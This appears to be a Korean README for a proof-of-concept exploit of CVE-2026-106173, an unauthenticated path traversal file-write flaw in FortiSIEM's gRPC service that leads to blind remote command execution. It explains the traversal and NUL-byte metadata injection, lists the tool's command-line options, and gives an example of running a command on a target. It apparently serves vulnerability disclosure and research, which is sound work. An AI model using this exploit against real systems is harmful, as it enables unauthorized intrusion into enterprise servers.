
Fortinet FortiSIEM의 인증되지 않은 gRPC 경로 순회 파일 쓰기 취약점인 CVE-2026-106173을 이용한 Python 개념 증명(proof-of-concept) 익스플로잇으로, 블라인드 원격 명령 실행이 가능합니다.
이 저장소에는 Fortinet FortiSIEM의 인증되지 않은 원격 코드 실행 취약점인 CVE-2026-106173에 대한 개념 증명(proof of concept)이 포함되어 있습니다.
FortiSIEM gRPC QueryResultReq 핸들러는 적절한 경로 검증 없이 신뢰할 수 없는 메타데이터를 처리합니다. gRPC의 HTTP/2 및 HPACK 인코딩 계층 내에서 경로 순회 시퀀스(../)와 NUL 바이트 주입을 모두 포함하는 메타데이터를 조작함으로써, 공격자는 파일 시스템에 임의의 파일을 쓸 수 있습니다.
근본 원인, 익스플로잇 세부 정보, 침해 지표를 다루는 기술 분석은 Horizon3.ai 공격 연구 블로그에서 확인할 수 있습니다:
% python3 CVE-2026-106173.py -h
usage: CVE-2026-106173.py [-h] -t TARGET [-c COMMAND] [-p PORT] [--plaintext]
[--dry-run]
options:
-h, --help show this help message and exit
-t TARGET, --target TARGET
IP or hostname of the FortiSIEM instance
-c COMMAND, --command COMMAND
Command to execute on the target
-p PORT, --port PORT FortiSIEM gRPC port (default: 27918)
--plaintext Use HTTP/2 without TLS
--dry-run Display the request without sending
임의의 명령 실행:
python3 CVE-2026-106173.py -t 10.0.18.x -c 'id'
참고: 실행은 블라인드 방식이며, 우리가 덮어쓴 스크립트를 cron 작업이 실행하기까지 최대 60초가 걸립니다.
이 소프트웨어는 순전히 학술 연구와 효과적인 방어 기법 개발을 목적으로 제작되었으며, 명시적으로 승인된 경우를 제외하고 시스템을 공격하는 데 사용되어서는 안 됩니다." 프로젝트 유지 관리자는 오용에 대해 어떠한 책임도 지지 않습니다. 책임감 있게 사용하십시오.